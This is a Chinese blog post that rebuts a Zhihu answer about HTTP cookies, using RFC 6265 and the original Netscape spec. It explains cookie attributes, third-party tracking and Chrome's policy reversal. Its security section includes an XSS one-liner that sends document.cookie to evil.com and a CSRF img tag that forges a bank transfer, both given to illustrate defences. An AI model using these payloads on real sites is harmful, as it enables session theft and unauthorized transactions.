知乎答案翻车：RFC标准告诉你Cookie到底是谁的

起因

最近在知乎上看到一个关于Cookie的回答，部分内容如下：

当我指出这些问题后，对方回复：

"cookie的1994浏览器出现后，浏览器随身自带的技术。那个时代，还没有前后端的说法。" "对前后端、架构、浏览器，有基础概念，就不会有你们这种通过拍脑袋所得出的似是而非的概念。"

好的，那我们就来看看RFC标准文档和原始规范怎么说。

本文所有技术结论均可在RFC标准文档和官方规范中查证。

一、Cookie诞生的真实故事

1994年，一个叫Lou Montulli的23岁程序员在Netscape工作。当时MCI电信公司找到Netscape，想开发一个电子商务应用。

问题来了：HTTP协议是无状态的。

什么意思？就是服务器响应完一个请求后，就把你忘得一干二净。你往购物车加了个商品，刷新一下页面，购物车空了——因为服务器根本不记得你是谁。

MCI明确表示：我们不想在服务器端保存用户的购物车状态（服务器资源宝贵）。能不能想个办法，把状态存在用户那边？

Lou Montulli借鉴了计算机领域已有的"magic cookie"概念，设计出了HTTP Cookie。1994年10月13日，Mosaic Netscape 0.9beta发布，内置了Cookie支持。

划重点：Cookie从诞生第一天起，就是为了解决"服务器需要识别用户"这个问题，而不是为了给前端提供本地存储。

详见 Wikipedia - HTTP cookie[1]、Lou Montulli访谈 (Quartz)[2]、Hidden Heroes专题[3]

二、RFC标准怎么定义Cookie的？

2.1 RFC 6265 摘要（当前有效标准）

"This document defines the HTTP Cookie and Set-Cookie header fields. These header fields can be used by HTTP servers to store state (called cookies) at HTTP user agents, letting the servers maintain a stateful session over the mostly stateless HTTP protocol."

翻译：本文档定义了HTTP Cookie和Set-Cookie头字段。这些头字段可被HTTP服务器用于存储状态（称为cookie）于用户代理处，让服务器能够在基本无状态的HTTP协议上维护有状态的会话。

详见 RFC 6265[4]

2.2 Netscape原始规范（1994年）

"Cookies are a general mechanism which server side connections (such as CGI scripts) can use to both store and retrieve information on the client side of the connection."

翻译：Cookie是一种通用机制， 服务器端连接（如CGI脚本） 可以使用它在连接的客户端存储和检索信息。

详见 Netscape Cookie Specification[5]

注意这句话的主语：server side connections。Cookie的设计者从一开始就明确，这是一个服务器主导的机制。

顺便反驳一个说法："1994年还没有前后端的概念"。Netscape原始规范白纸黑字写着"server side connections (such as CGI scripts)"。CGI（Common Gateway Interface）[6]是1993年由NCSA发布的服务器端编程接口标准，Cookie诞生时它已经存在一年了。

三、Cookie的工作机制

很多人以为Cookie的流程是：

前端存数据 → 前端取出来 → 前端发给后端

错。

RFC 6265 第3节（Overview）写得清清楚楚：

"To store state, the origin server includes a Set-Cookie header in an HTTP response. In subsequent requests, the user agent returns a Cookie request header to the origin server."

翻译：为了存储状态，源服务器在HTTP响应中包含Set-Cookie头。 在后续请求中，用户代理向源服务器返回Cookie请求头。

实际流程是这样的：

RFC 6265 第3.1节的示例代码：

== Server -> User Agent ==
Set-Cookie: SID=31d4d96e407aad42

== User Agent -> Server ==
Cookie: SID=31d4d96e407aad42

关键点：浏览器收到Set-Cookie后，在后续同域请求中会自动把Cookie附加到请求头。不需要前端手动取出来再发送。

这不是什么黑科技，这是HTTP协议的标准行为，是Cookie存在的核心意义。

四、Cookie的属性详解

一个完整的Set-Cookie响应头可能长这样：

Set-Cookie: sessionId=abc123; Domain=example.com; Path=/; Expires=Wed, 09 Jun 2025 10:18:14 GMT; Secure; HttpOnly; SameSite=Lax

下面逐一解释每个属性的含义和作用。

4.1 Domain 和 Path：控制Cookie的作用范围

Domain 指定哪些域名可以接收这个Cookie。

• • 如果设置 Domain=example.com，那么 example.com、www.example.com、api.example.com 都能收到这个Cookie
• • 如果不设置Domain，Cookie只会发送给设置它的那个精确域名

Path 指定哪些URL路径可以接收这个Cookie。

• • 设置 Path=/api，那么 /api、/api/users、/api/orders 都能收到
• • 设置 Path=/，表示整个网站都能收到

4.2 Expires 和 Max-Age：控制Cookie的生命周期

Expires 设置一个绝对过期时间：

Set-Cookie: token=abc; Expires=Wed, 09 Jun 2025 10:18:14 GMT

Max-Age 设置相对过期时间（秒）：

Set-Cookie: token=abc; Max-Age=3600  // 1小时后过期

如果两个都不设置，Cookie会在浏览器关闭时自动删除，这种叫会话Cookie（Session Cookie）。

如果设置了过期时间，Cookie会持久保存在硬盘上，这种叫持久Cookie（Persistent Cookie）。

4.3 Secure：只在HTTPS下传输

Set-Cookie: token=abc; Secure

设置了Secure属性的Cookie，只会在HTTPS连接中发送，HTTP明文连接不会带上这个Cookie。

这可以防止中间人攻击（MITM）窃取敏感Cookie。

4.4 HttpOnly：禁止JavaScript访问

Set-Cookie: sessionId=abc; HttpOnly

设置了HttpOnly的Cookie，JavaScript无法通过document.cookie读取，只能在HTTP请求中由浏览器自动发送。

这是防御XSS（跨站脚本攻击）的重要手段。攻击者即使注入了恶意脚本，也无法窃取带有HttpOnly标记的Cookie。

4.5 SameSite：防止跨站请求伪造

这是最复杂但也最重要的属性，用于控制Cookie在跨站请求中的发送行为。

SameSite=Strict：最严格模式

Cookie只在同站请求中发送。如果你从其他网站点击链接跳转过来，Cookie不会被发送。

适用于：银行转账、修改密码等敏感操作。

SameSite=Lax：宽松模式（现代浏览器默认值）

Cookie在同站请求和顶级导航的GET请求中发送。也就是说，从其他网站点击链接跳过来可以带Cookie，但嵌入的iframe、图片、AJAX请求不会带。

适用于：大多数普通网站。

SameSite=None：完全不限制

Cookie在所有请求中都会发送，包括跨站请求。必须同时设置Secure属性。

适用于：需要跨站的场景，如第三方登录、嵌入式内容。

Set-Cookie: tracking=xyz; SameSite=None; Secure

详见 MDN - SameSite cookies[7]、web.dev - SameSite cookies explained[8]

五、几个常见误解的澄清（这个部分主要是针对于知乎回答中的错误）

误解1："Cookie是浏览器给用户保存客户端状态的本地数据库"

RFC 6265 摘要明确说：cookie是让"HTTP servers to store state"（HTTP服务器存储状态）。

Cookie的设计目的是让服务器能在无状态的HTTP上维护会话，存储位置虽然在客户端，但这是服务器主动放过去的，服务器也能主动删除（通过设置过期时间为过去）。

Netscape原始规范甚至说得更直白：Cookie是"server side connections (such as CGI scripts)"使用的机制。

误解2："不是浏览器收到Set-Cookie，而是前端脚本setCookie"

RFC 6265 第4.1节标题就叫"Set-Cookie"，开篇第一句：

"The Set-Cookie HTTP response header is used to send cookies from the server to the user agent."

Set-Cookie是HTTP响应头，由服务器发送。这是Cookie机制的核心入口。

JavaScript的document.cookie API确实可以操作cookie，但这是后来添加的能力，不是Cookie机制的本源设计。而且document.cookie设置的cookie，同样会被浏览器自动附加到后续请求中——工作机制没变。

误解3："后端不能从Cookie获取数据"

这个误解最离谱。Cookie的唯一设计目的就是让后端能获取到之前设置的状态信息。

RFC 6265 第3节：

"In subsequent requests, the user agent returns a Cookie request header to the origin server."

浏览器会在请求头里带上Cookie，后端直接从HTTP请求头读取。这是所有Web框架的标准功能：

• • Node.js: req.cookies
• • Python Flask: request.cookies
• • Java Spring: @CookieValue
• • PHP: $_COOKIE

后端不仅能读，还能写（通过Set-Cookie响应头），还能删（设置过期时间为过去）。

六、Cookie vs 真正的前端本地存储

如果你真的需要一个"前端本地数据库"，不需要自动发送给服务器，HTML5提供了专门的API：

Web Storage API（localStorage/sessionStorage）是2009年HTML5规范引入的，这才是真正为前端设计的本地存储方案。

Cookie每次请求都会自动带上，如果你存了大量数据在Cookie里，会白白增加每个HTTP请求的体积，影响性能。

七、Cookie的安全风险

Cookie虽然方便，但也带来了安全隐患。

7.1 XSS（跨站脚本攻击）

如果网站存在XSS漏洞，攻击者可以注入恶意JavaScript：

// 恶意脚本窃取Cookie
new Image().src = "https://evil.com/steal?cookie=" + document.cookie;

防御手段：给敏感Cookie设置HttpOnly属性，JavaScript就无法读取。

7.2 CSRF（跨站请求伪造）

因为浏览器会自动发送Cookie，攻击者可以诱导用户访问恶意页面，在用户不知情的情况下发起请求：

<!-- 恶意网站上的代码 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

如果用户恰好登录了bank.com，这个请求会自动带上Cookie，银行服务器可能认为这是合法请求。

防御手段：

1. 1. 设置SameSite=Strict或SameSite=Lax
2. 2. 使用CSRF Token
3. 3. 检查Referer/Origin头

详见 MDN - Secure cookie configuration[9]

八、第三方Cookie与隐私争议

这是Cookie最具争议的部分。

什么是第三方Cookie？

当你访问 news.com 时，页面上可能嵌入了 ad-network.com 的广告。这个广告可以设置一个属于 ad-network.com 的Cookie。

这就是第三方Cookie——不是你正在访问的网站设置的，而是页面中嵌入的第三方内容设置的。

为什么它有隐私问题？

因为 ad-network.com 的广告可能嵌入在成千上万个网站中。通过第三方Cookie，它可以：

1. 1. 在 news.com 上给你设置一个ID
2. 2. 在 shopping.com 上读取同一个ID
3. 3. 在 travel.com 上继续追踪你

结果就是，广告网络可以跨越不同网站追踪你的浏览行为，建立你的用户画像。

这就是为什么你在某个网站搜了"机票"，其他网站的广告就开始疯狂推送机票广告。

浏览器的反击

• • Safari：2017年起通过ITP（Intelligent Tracking Prevention）限制第三方Cookie
• • Firefox：2019年默认开启ETP（Enhanced Tracking Protection），阻止已知跟踪器的Cookie
• • Chrome：一度计划2024年淘汰第三方Cookie，但在2024年7月宣布改变策略

详见 Wikipedia - HTTP cookie[10]

九、Cookie的未来：Chrome的摇摆

Google Chrome占据全球浏览器市场67%以上的份额，它对第三方Cookie的态度影响深远。

曾经的计划

2020年，Google宣布将在2022年淘汰Chrome中的第三方Cookie。后来多次推迟，最终定在2024年下半年。

2024年1月4日，Chrome开始对1%的用户测试禁用第三方Cookie。

突然的转变

2024年7月22日，Google宣布放弃淘汰第三方Cookie的计划。

"Instead of deprecating third-party cookies, we would introduce a new experience in Chrome that lets people make an informed choice that applies across their web browsing."

翻译：我们将不再淘汰第三方Cookie，而是在Chrome中引入新体验，让用户做出适用于整个网页浏览的知情选择。

简单说，Google从"强制禁用"改为"让用户自己选择"。

为什么转变？

主要原因有几个：

1. 1. 广告行业的强烈反对：第三方Cookie是数字广告的基础设施，淘汰它会严重影响广告收入
2. 2. 英国监管机构（CMA）的竞争担忧：担心Google借此进一步巩固广告市场垄断地位
3. 3. 替代方案（Privacy Sandbox）未获业界认可：W3C和其他浏览器厂商都没有采纳Google的方案

详见 Google官方博客[11]、CookieYes分析[12]

十、为什么有人用Authorization Header传Token？

这是个好问题，但原因不是"后端拿不到Cookie"。

用Authorization Header主要是为了：

1. 1. 防CSRF：Cookie会被浏览器自动发送，恶意网站可以利用这一点。Authorization Header需要手动设置，不会被自动带上。
2. 2. 跨域友好：Cookie有严格的同源策略和域名限制，跨域场景处理复杂。Authorization Header没有这些限制。
3. 3. RESTful风格偏好：很多API设计者认为把认证信息放在Header里更符合RESTful的无状态理念。
4. 4. 移动端/非浏览器客户端：Cookie是浏览器特有机制，移动App或其他客户端用Authorization Header更通用。

这些都是架构选择，不是技术限制。Cookie能不能被后端读取？当然能，这是它存在的全部意义。

十一、总结

Cookie的本质：

1. 1. 服务器发起（通过Set-Cookie响应头）
2. 2. 浏览器存储（被动存储，不解释内容）
3. 3. 浏览器自动发送（通过Cookie请求头，不需要前端写代码）
4. 4. 服务器读取（从HTTP请求头获取）

它是一个以服务器为中心的状态管理机制，设计目的是让无状态的HTTP能够支撑有状态的Web应用（如购物车、登录状态）。

浏览器在这个机制里的角色，是服务器状态的临时托管者和自动传输者，而不是"前端的本地数据库"。

30年过去了，Cookie从一个解决购物车问题的简单方案，演变成了互联网广告的基础设施，又因为隐私问题走到了十字路口。技术本身是中性的，关键在于我们如何使用它。

以上所有技术结论均可在文中链接的RFC标准文档中查证。欢迎指正。

引用链接

[1] Wikipedia - HTTP cookie:https://en.wikipedia.org/wiki/HTTP_cookie [2]Lou Montulli访谈 (Quartz):https://qz.com/2000350/the-inventor-of-the-digital-cookie-has-some-regrets [3]Hidden Heroes专题:https://hiddenheroes.netguru.com/lou-montulli [4]RFC 6265:https://datatracker.ietf.org/doc/html/rfc6265 [5]Netscape Cookie Specification:https://curl.se/rfc/cookie_spec.html [6]CGI（Common Gateway Interface）:https://en.wikipedia.org/wiki/Common_Gateway_Interface [7]MDN - SameSite cookies:https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#samesite_attribute [8]web.dev - SameSite cookies explained:https://web.dev/articles/samesite-cookies-explained [9]MDN - Secure cookie configuration:https://developer.mozilla.org/en-US/docs/Web/Security/Practical_implementation_guides/Cookies [10]Wikipedia - HTTP cookie:https://en.wikipedia.org/wiki/HTTP_cookie [11]Google官方博客:https://blog.google/products/chrome/privacy-sandbox-tracking-protection/ [12]CookieYes分析:https://www.cookieyes.com/blog/google-cookie-deprecation/